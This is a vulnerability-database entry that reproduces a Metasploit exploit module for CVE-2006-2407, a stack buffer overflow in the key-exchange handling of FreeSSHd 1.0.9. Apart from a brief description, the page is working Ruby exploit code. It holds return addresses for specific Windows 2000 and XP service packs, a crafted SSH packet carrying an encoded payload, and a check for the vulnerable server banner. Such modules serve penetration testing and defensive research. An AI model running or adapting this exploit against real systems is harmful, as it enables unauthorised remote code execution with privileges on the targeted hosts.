FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow

2006-10-10T19:33:49
ID MSF:EXPLOIT/WINDOWS/SSH/FREESSHD_KEY_EXCHANGE
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9. This flaw is due to a buffer overflow error when handling a specially crafted key exchange algorithm string received from an SSH client.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'FreeSSHd 1.0.9 Key Exchange Algorithm String Buffer Overflow',
      'Description'    => %q{
          This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9.
        This flaw is due to a buffer overflow error when handling a specially
        crafted key exchange algorithm string received from an SSH client.
      },
      'Author'         => 'MC',
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2006-2407'],
          ['OSVDB', '25463'],
          ['BID', '17958'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows 2000 Pro SP4 English', { 'Ret' => 0x77e56f43 } ],
          [ 'Windows XP Pro SP0 English',   { 'Ret' => 0x77e51877 } ],
          [ 'Windows XP Pro SP1 English',   { 'Ret' => 0x77e53877 } ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'May 12 2006',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(22)
      ])
  end

  def exploit
    connect

    sploit =  "SSH-2.0-OpenSSH_3.9p1"
    sploit << "\x0a\x00\x00\x4f\x04\x05\x14\x00\x00\x00\x00\x00\x00\x00"
    sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\xde"
    sploit << rand_text_alphanumeric(1055) + [target.ret].pack('V')
    sploit << payload.encoded + rand_text_alphanumeric(19000) + "\r\n"

    res = sock.recv(22)
    if ( res =~ /SSH-2.0-WeOnlyDo 1.2.7/)
      print_status("Trying target #{target.name}...")
      sock.put(sploit)
    else
      print_status("Not running a vulnerable version...")
    end

    handler
    disconnect

  end
end